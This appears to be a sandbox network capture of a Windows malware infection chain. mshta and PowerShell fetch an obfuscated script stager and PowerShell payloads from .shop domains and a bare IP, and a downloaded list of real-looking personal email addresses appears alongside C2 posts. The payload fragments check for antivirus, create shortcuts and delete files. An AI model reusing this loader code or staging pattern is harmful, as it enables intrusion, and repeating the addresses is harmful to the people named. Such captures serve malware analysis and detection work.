Dec 12, 2024 12:57:39.268259048 CET	1289	IN	Data Raw: 73 74 2e 30 38 35 35 2e 74 78 74 0a 6c 69 73 74 2e 30 38 35 36 2e 74 78 74 0a 6c 69 73 74 2e 30 38 35 37 2e 74 78 74 0a 6c 69 73 74 2e 30 38 35 38 2e 74 78 74 0a 6c 69 73 74 2e 30 38 35 39 2e 74 78 74 0a 6c 69 73 74 2e 30 38 36 30 2e 74 78 74 0a Data Ascii: st.0855.txtlist.0856.txtlist.0857.txtlist.0858.txtlist.0859.txtlist.0860.txtlist.0861.txtlist.0862.txtlist.0863.txtlist.0864.txtlist.0865.txtlist.0866.txtlist.0867.txtlist.0868.txtlist.0869.txtlist.0870.txtlist.0871.txtlist.08
Dec 12, 2024 12:57:39.268268108 CET	1289	IN	Data Raw: 74 2e 30 39 34 37 2e 74 78 74 0a 6c 69 73 74 2e 30 39 34 38 2e 74 78 74 0a 6c 69 73 74 2e 30 39 34 39 2e 74 78 74 0a 6c 69 73 74 2e 30 39 35 30 2e 74 78 74 0a 6c 69 73 74 2e 30 39 35 31 2e 74 78 74 0a 6c 69 73 74 2e 30 39 35 32 2e 74 78 74 0a 6c Data Ascii: t.0947.txtlist.0948.txtlist.0949.txtlist.0950.txtlist.0951.txtlist.0952.txtlist.0953.txtlist.0954.txtlist.0955.txtlist.0956.txtlist.0957.txtlist.0958.txtlist.0959.txtlist.0960.txtlist.0961.txtlist.0962.txtlist.0963.txtlist.096
Dec 12, 2024 12:57:39.417123079 CET	1289	IN	Data Raw: 2e 31 30 33 39 2e 74 78 74 0a 6c 69 73 74 2e 31 30 34 30 2e 74 78 74 0a 6c 69 73 74 2e 31 30 34 31 2e 74 78 74 0a 6c 69 73 74 2e 31 30 34 32 2e 74 78 74 0a 6c 69 73 74 2e 31 30 34 33 2e 74 78 74 0a 6c 69 73 74 2e 31 30 34 34 2e 74 78 74 0a 6c 69 Data Ascii: .1039.txtlist.1040.txtlist.1041.txtlist.1042.txtlist.1043.txtlist.1044.txtlist.1045.txtlist.1046.txtlist.1047.txtlist.1048.txtlist.1049.txtlist.1050.txtlist.1051.txtlist.1052.txtlist.1053.txtlist.1054.txtlist.1055.txtlist.1056
Dec 12, 2024 12:57:39.737262011 CET	169	OUT	GET /a/08/150822/au/auout/list.0137.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: 93.127.200.211
Dec 12, 2024 12:57:39.887422085 CET	1289	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:39 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Tue, 19 Nov 2024 12:52:28 GMT ETag: "6cdd-62743816d9b00" Accept-Ranges: bytes Content-Length: 27869 Vary: Accept-Encoding Content-Type: text/plain Data Raw: 65 64 75 61 72 64 6f 6d 6f 6e 63 61 64 61 6c 6f 70 65 7a 40 79 61 68 6f 6f 2e 65 73 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 64 72 61 67 6f 6e 2e 6d 72 40 67 6d 2e 67 72 75 70 6f 6d 61 70 2e 6d 78 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 6f 73 74 69 6a 65 72 61 73 40 79 61 68 6f 6f 2e 65 73 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 6f 7a 63 40 68 6f 74 6d 61 69 6c 2e 65 73 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 72 6f 79 40 73 6f 6c 6d 75 74 2e 6d 78 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 72 72 6f 79 40 74 6f 6d 63 61 74 2e 6d 78 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 74 61 6e 6f 40 64 65 6c 76 61 2e 63 6f 6d 2e 6d 78 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 74 65 61 67 75 64 6f 40 65 6d 66 65 73 61 2e 65 73 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 74 65 6a 6f 5f 38 32 40 6f 75 74 6c 6f 6f 6b 2e 65 73 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 74 65 73 40 6c 69 66 75 6e 67 2e 63 6f 6d 2e 6d 78 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 74 65 73 33 35 33 40 79 61 68 6f 6f 2e 65 73 0d 0a 65 64 75 61 72 64 6f 6d 6f 6e 74 65 73 64 65 6f 63 61 40 61 72 [TRUNCATED] Data Ascii: eduardomoncadalopez@yahoo.eseduardomondragon.mr@gm.grupomap.mxeduardomonostijeras@yahoo.eseduardomonozc@hotmail.eseduardomonroy@solmut.mxeduardomonrroy@tomcat.mxeduardomontano@delva.com.mxeduardomonteagudo@emfesa.eseduardomontejo_82@outlook.eseduardomontes@lifung.com.mxeduardomontes353@yahoo.eseduardomontesdeoca@arlex.com.mxeduardomontiel@cablevision.net.mxeduardomontiel@simarefrigeracion.com.mxeduardomontolla@ponderosa.com.mxeduardomontoya@ponderosa.com.mxeduardomontoyac@cruzazul.com.mxeduardomontoyae@cruzazul.com.mxeduardo-mor@hotmail.eseduardomora.253350@ce.grupomap.mxeduardomora.mr@gm.grupomap.mxeduardomora@sertec.com.mxeduardomoraes@microdigital.pteduardomorales@baumgarten.com.mxeduardomorales@hka.mxeduardo-morales@terra.com.mxeduardo-moran@outlook.eseduardomoran@upla.eseduardomoran_resa@hotmail.eseduardomoran2305@yahoo.eseduardomoreira@live.com.pteduardomoreira2010@live.com.pteduardomoreno@alessia.com.mxeduardomoreno@aviation. [TRUNCATED]
Dec 12, 2024 12:57:39.895742893 CET	262	OUT	POST /a/08/150822/au/auout/index.php?CHLG HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Content-Type: application/x-www-form-urlencoded Host: 93.127.200.211 Content-Length: 18 Expect: 100-continue
Dec 12, 2024 12:57:40.046044111 CET	25	IN	HTTP/1.1 100 Continue
Dec 12, 2024 12:57:40.201447010 CET	147	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:39 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49761	159.100.18.13	443	1524	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:55:58 UTC	343	OUT	GET /ZRALJZLWYNP/PNQRJTRMIB HTTP/1.1 Accept: / Accept-Language: en-US,en-GB;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: contablegbv.shop Connection: Keep-Alive
2024-12-12 11:55:58 UTC	320	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:55:58 GMT Server: Apache/2.4.52 (Ubuntu) Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests Last-Modified: Thu, 12 Dec 2024 10:04:55 GMT ETag: "148-6290fd894051c" Accept-Ranges: bytes Content-Length: 328 Connection: close
2024-12-12 11:55:58 UTC	328	IN	Data Raw: 76 61 72 20 73 63 72 69 70 74 45 6c 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 73 63 72 69 70 74 45 6c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 20 22 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 6d 64 73 61 72 71 75 69 74 65 74 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 6c 64 76 62 3f 61 6c 74 3d 6d 65 64 69 61 26 74 6f 6b 65 6e 3d 66 62 31 65 39 34 61 36 2d 37 65 36 31 2d 34 34 31 39 2d 61 34 65 64 2d 35 62 66 34 61 65 35 30 63 61 65 31 22 29 3b 0d 0a 73 63 72 69 70 74 45 6c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 20 22 74 65 78 74 2f 76 62 73 63 Data Ascii: var scriptEle = document.createElement("script");scriptEle.setAttribute("src", "https://firebasestorage.googleapis.com/v0/b/mdsarquitet.appspot.com/o/ldvb?alt=media&token=fb1e94a6-7e61-4419-a4ed-5bf4ae50cae1");scriptEle.setAttribute("type", "text/vbsc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49764	159.100.18.13	443	6996	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:56:02 UTC	76	OUT	GET /ll2310/at3 HTTP/1.1 Host: contablebar.shop Connection: Keep-Alive
2024-12-12 11:56:02 UTC	323	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:56:02 GMT Server: Apache/2.4.52 (Ubuntu) Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests Last-Modified: Wed, 04 Dec 2024 16:32:26 GMT ETag: "6008-6287453b5ba80" Accept-Ranges: bytes Content-Length: 24584 Connection: close
2024-12-12 11:56:02 UTC	7869	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 5f 5f 5f 2f 2f 2f 2f 2f 2f 2f 2f 2f 20 7b 20 0d 0a 5b 63 6d 64 6c 65 74 42 69 6e 64 69 6e 67 28 29 5d 20 20 20 20 20 0d 0a 70 61 72 61 6d 20 28 20 0d 0a 5b 73 74 72 69 6e 67 5d 24 43 6f 6d 70 75 74 65 72 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 20 2c 20 0d 0a 24 43 72 65 64 65 6e 74 69 61 6c 20 0d 0a 29 20 0d 0a 20 20 20 20 42 45 47 49 4e 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 77 6d 69 51 75 65 72 79 20 3d 20 22 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 22 20 0d 0a 20 20 20 20 20 20 20 20 7d 20 0d 0a 20 20 20 20 50 52 4f 43 45 53 53 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 20 20 24 41 6e 74 69 Data Ascii: function ____///////// { [cmdletBinding()] param ( [string]$ComputerName = "$env:computername" , $Credential ) BEGIN { $wmiQuery = "SELECT * FROM AntiVirusProduct" } PROCESS { $Anti
2024-12-12 11:56:03 UTC	8000	IN	Data Raw: 20 3d 20 28 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 29 0d 0a 20 20 20 20 24 7b 5c 5c 2f 2f 2f 2f 2f 5c 7d 20 3d 20 28 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 20 2b 20 22 41 22 29 0d 0a 20 20 20 20 24 7b 2f 5c 7d 20 3d 20 28 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 20 2b 20 22 42 22 29 20 09 0d 0a 09 64 65 6c 20 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5c 5c 5c 5c 2f 7c 5f 7d 5c 2a 2e 76 62 73 0d 0a 20 20 20 20 64 65 6c 20 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5c 5c 5c 5c 2f 7c 5f 7d 5c 2a 2e 6c 6e 6b 0d 0a 20 20 20 20 64 65 6c 20 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c Data Ascii: = (${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}) ${\\/////\} = (${_\\\\\\/\|\_/\|/\\\___\\\\/\|_} + "A") ${/\} = (${_\\\\\\/\|\_/\|/\\\___\\\\/\|_} + "B") del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.vbs del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.lnk del ${_\\\\\\/\|\_/\|
2024-12-12 11:56:03 UTC	8000	IN	Data Raw: 20 3d 20 22 24 7b 2f 3d 5c 5f 2f 5c 5f 2f 3d 3d 3d 5c 2f 5c 2f 5c 2f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 62 74 2e 6c 6e 6b 22 20 0d 0a 23 5f 5f 5f 5f 5f 2f 5c 5f 2f 5c 2f 5c 5f 2f 5c 2f 3d 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 20 24 7b 5f 5f 5f 2f 5c 5f 2f 5c 2f 3d 3d 3d 5c 2f 5c 5f 5f 7d 20 20 24 7b 5f 2f 3d 5c 2f 3d 5c 2f 5c 5f 2f 5c 2f 3d 5c 5f 5f 7d 20 0d 0a 0d 0a 24 7b 5f 5f 5f 2f 5c 5f 2f 5c 2f 3d 3d 3d 5c 2f 5c 5f 5f 7d 20 3d 20 22 24 7b 2f 3d 5c 5f 2f 5c 5f 2f 3d 3d 3d 5c 2f 5c 2f 5c 2f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c Data Ascii: = "${/=\_/\_/===\/\/\/}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}bt.lnk" #_____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\/////////////////////// ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__} ${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\\\\\\/\|\_/\|/\\
2024-12-12 11:56:03 UTC	715	IN	Data Raw: 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 24 7b 5f 6a 6c 5f 7d 24 7b 5f 64 78 5f 7d 22 0d 0a 24 62 79 74 65 73 20 3d 20 5b 53 79 73 74 65 6d 2e 49 4f 2e 46 69 6c 65 5d 3a 3a 52 65 61 64 41 6c 6c 42 79 74 65 73 28 24 70 61 74 68 29 0d 0a 69 66 20 28 24 62 79 74 65 73 5b 30 5d 20 2d 65 71 20 30 78 37 42 20 2d 61 6e 64 20 24 62 79 74 65 73 5b 31 5d 20 2d 65 71 20 30 78 37 44 20 2d 61 6e 64 20 24 62 79 74 65 73 5b 32 5d 20 2d 65 71 20 30 78 32 43 29 20 7b 0d 0a 20 20 20 20 24 6e 65 77 42 79 74 65 73 20 3d 20 24 62 79 74 65 73 5b 33 2e 2e 28 24 62 79 74 65 73 2e 4c 65 6e 67 74 68 20 2d 20 31 29 5d 0d 0a 20 20 20 20 5b 53 79 73 74 65 6d 2e 49 4f 2e 46 69 6c 65 5d 3a 3a 57 72 69 74 65 41 6c 6c 42 79 74 65 73 28 24 70 61 74 68 2c 20 24 6e 65 77 42 79 74 65 73 29 Data Ascii: \\___\\\\/\|_}\${_jl_}${_dx_}"$bytes = [System.IO.File]::ReadAllBytes($path)if ($bytes[0] -eq 0x7B -and $bytes[1] -eq 0x7D -and $bytes[2] -eq 0x2C) { $newBytes = $bytes[3..($bytes.Length - 1)] [System.IO.File]::WriteAllBytes($path, $newBytes)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49766	93.127.200.211	443	8440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:56:16 UTC	83	OUT	GET /a/08/150822/up/up HTTP/1.1 Host: contablefea.shop Connection: Keep-Alive
2024-12-12 11:56:16 UTC	323	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:56:16 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests Last-Modified: Wed, 04 Dec 2024 17:35:21 GMT ETag: "6793-6287534b7a840" Accept-Ranges: bytes Content-Length: 26515 Connection: close
2024-12-12 11:56:16 UTC	7869	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 5f 5f 5f 2f 2f 2f 2f 2f 2f 2f 2f 2f 20 7b 20 0d 0a 5b 63 6d 64 6c 65 74 42 69 6e 64 69 6e 67 28 29 5d 20 20 20 20 20 0d 0a 70 61 72 61 6d 20 28 20 0d 0a 5b 73 74 72 69 6e 67 5d 24 43 6f 6d 70 75 74 65 72 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 20 2c 20 0d 0a 24 43 72 65 64 65 6e 74 69 61 6c 20 0d 0a 29 20 0d 0a 20 20 20 20 42 45 47 49 4e 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 77 6d 69 51 75 65 72 79 20 3d 20 22 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 22 20 0d 0a 20 20 20 20 20 20 20 20 7d 20 0d 0a 20 20 20 20 50 52 4f 43 45 53 53 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 20 20 24 41 6e 74 69 Data Ascii: function ____///////// { [cmdletBinding()] param ( [string]$ComputerName = "$env:computername" , $Credential ) BEGIN { $wmiQuery = "SELECT * FROM AntiVirusProduct" } PROCESS { $Anti
2024-12-12 11:56:16 UTC	8000	IN	Data Raw: 5f 5f 5f 5f 5f 5f 7d 20 2d 43 6f 75 6e 74 20 31 0d 0a 24 7b 5f 5f 7c 7c 7c 7c 7c 7c 5f 7c 7c 7c 7c 7c 7c 5f 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 20 3d 20 47 65 74 2d 52 61 6e 64 6f 6d 20 2d 49 6e 70 75 74 4f 62 6a 65 63 74 20 24 7b 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 2e 54 6f 55 70 70 65 72 28 29 20 2d 43 6f 75 6e 74 20 31 0d 0a 66 6f 72 65 61 63 68 28 24 6e 20 69 6e 20 24 7b 5f 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 29 20 7b 0d 0a 24 7b 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 20 Data Ascii: ______} -Count 1${__\|\|\|\|\|\|_\|\|\|\|\|\|_\|//////\\\\\________________} = Get-Random -InputObject ${_\|\|\|\|\|\|\|\|\|\|\|\|\|________________}.ToUpper() -Count 1foreach($n in ${__\|\|\|\|\|\|\|\|\|\|\|\|\|//////\\\\\________________}) {${_\|\|\|\|\|\|\|\|\|\|\|\|\|//////\\\\\________________}
2024-12-12 11:56:16 UTC	8000	IN	Data Raw: 73 74 72 69 6e 67 5d 24 7b 5f 5f 2f 3d 3d 5c 2f 5c 5f 2f 5c 2f 3d 5c 2f 5c 5f 2f 7d 29 3b 0d 0a 20 20 74 72 79 7b 20 20 0d 0a 20 20 20 20 24 7b 5f 5f 2f 5c 5f 2f 3d 5c 2f 3d 5c 2f 3d 3d 3d 3d 3d 7d 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 2d 43 6f 6d 4f 62 6a 65 63 74 20 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 20 3d 20 24 7b 5f 5f 2f 5c 5f 2f 3d 5c 2f 3d 5c 2f 3d 3d 3d 3d 3d 7d 2e 43 72 65 61 74 65 53 68 6f 72 74 63 75 74 28 24 7b 5f 5f 5f 2f 5c 5f 2f 3d 5c 5f 5f 5f 2f 5c 5f 2f 3d 3d 7d 29 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 2e 54 61 72 67 65 74 50 61 74 68 20 3d 20 22 24 7b 2f 5f 2f 2f 5f 2f 2f 5f 2f 7d 22 20 20 20 20 20 20 20 0d Data Ascii: string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"
2024-12-12 11:56:16 UTC	2646	IN	Data Raw: 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 2e 61 74 22 29 20 2d 50 61 74 68 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 63 24 7b 5f 74 78 5f 7d 22 29 0d 0a 52 65 6e 61 6d 65 2d 49 74 65 6d 20 2d 4e 65 77 4e 61 6d 65 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c Data Ascii: //////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.at") -Path ("${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\c${_tx_}")Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49774	93.127.200.211	443	2724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:57:01 UTC	83	OUT	GET /a/08/150822/up/up HTTP/1.1 Host: contablefea.shop Connection: Keep-Alive
2024-12-12 11:57:01 UTC	323	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:01 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests Last-Modified: Wed, 04 Dec 2024 17:35:21 GMT ETag: "6793-6287534b7a840" Accept-Ranges: bytes Content-Length: 26515 Connection: close
2024-12-12 11:57:01 UTC	7869	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 5f 5f 5f 2f 2f 2f 2f 2f 2f 2f 2f 2f 20 7b 20 0d 0a 5b 63 6d 64 6c 65 74 42 69 6e 64 69 6e 67 28 29 5d 20 20 20 20 20 0d 0a 70 61 72 61 6d 20 28 20 0d 0a 5b 73 74 72 69 6e 67 5d 24 43 6f 6d 70 75 74 65 72 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 20 2c 20 0d 0a 24 43 72 65 64 65 6e 74 69 61 6c 20 0d 0a 29 20 0d 0a 20 20 20 20 42 45 47 49 4e 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 77 6d 69 51 75 65 72 79 20 3d 20 22 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 22 20 0d 0a 20 20 20 20 20 20 20 20 7d 20 0d 0a 20 20 20 20 50 52 4f 43 45 53 53 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 20 20 24 41 6e 74 69 Data Ascii: function ____///////// { [cmdletBinding()] param ( [string]$ComputerName = "$env:computername" , $Credential ) BEGIN { $wmiQuery = "SELECT * FROM AntiVirusProduct" } PROCESS { $Anti
2024-12-12 11:57:01 UTC	8000	IN	Data Raw: 5f 5f 5f 5f 5f 5f 7d 20 2d 43 6f 75 6e 74 20 31 0d 0a 24 7b 5f 5f 7c 7c 7c 7c 7c 7c 5f 7c 7c 7c 7c 7c 7c 5f 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 20 3d 20 47 65 74 2d 52 61 6e 64 6f 6d 20 2d 49 6e 70 75 74 4f 62 6a 65 63 74 20 24 7b 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 2e 54 6f 55 70 70 65 72 28 29 20 2d 43 6f 75 6e 74 20 31 0d 0a 66 6f 72 65 61 63 68 28 24 6e 20 69 6e 20 24 7b 5f 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 29 20 7b 0d 0a 24 7b 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 20 Data Ascii: ______} -Count 1${__\|\|\|\|\|\|_\|\|\|\|\|\|_\|//////\\\\\________________} = Get-Random -InputObject ${_\|\|\|\|\|\|\|\|\|\|\|\|\|________________}.ToUpper() -Count 1foreach($n in ${__\|\|\|\|\|\|\|\|\|\|\|\|\|//////\\\\\________________}) {${_\|\|\|\|\|\|\|\|\|\|\|\|\|//////\\\\\________________}
2024-12-12 11:57:01 UTC	8000	IN	Data Raw: 73 74 72 69 6e 67 5d 24 7b 5f 5f 2f 3d 3d 5c 2f 5c 5f 2f 5c 2f 3d 5c 2f 5c 5f 2f 7d 29 3b 0d 0a 20 20 74 72 79 7b 20 20 0d 0a 20 20 20 20 24 7b 5f 5f 2f 5c 5f 2f 3d 5c 2f 3d 5c 2f 3d 3d 3d 3d 3d 7d 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 2d 43 6f 6d 4f 62 6a 65 63 74 20 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 20 3d 20 24 7b 5f 5f 2f 5c 5f 2f 3d 5c 2f 3d 5c 2f 3d 3d 3d 3d 3d 7d 2e 43 72 65 61 74 65 53 68 6f 72 74 63 75 74 28 24 7b 5f 5f 5f 2f 5c 5f 2f 3d 5c 5f 5f 5f 2f 5c 5f 2f 3d 3d 7d 29 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 2e 54 61 72 67 65 74 50 61 74 68 20 3d 20 22 24 7b 2f 5f 2f 2f 5f 2f 2f 5f 2f 7d 22 20 20 20 20 20 20 20 0d Data Ascii: string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"
